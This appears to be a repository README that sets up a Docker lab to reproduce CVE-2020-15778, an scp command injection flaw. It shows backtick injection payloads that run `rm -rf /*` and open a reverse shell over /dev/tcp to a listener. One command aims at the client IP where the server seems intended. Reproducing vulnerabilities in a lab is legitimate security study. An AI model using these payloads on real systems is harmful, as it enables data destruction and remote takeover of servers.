
Reproduces CVE-2020-15778 SCP command injection exploit with Docker-based client-server setup for testing remote code execution and reverse shell payloads.
This repo reproduces CVE-2020-15778.
cd client
docker build -t client-cve .
cd server
docker build -t server-cve .
docker run -d -P --name scp-server server-cve
Retrieve the internal IP address of the scp server by
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server
docker run --name scp-client -i -t client-cve
In client terminal, run
scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'
The password is "PASSWORD".
Here're some examples for this exploit.
scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'
Listen to a port on client machine.
nc -lvvp 8080
Use scp to force the server mapping the interactive bash into the client machine.
scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'
The client IP address can be retrieved by
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client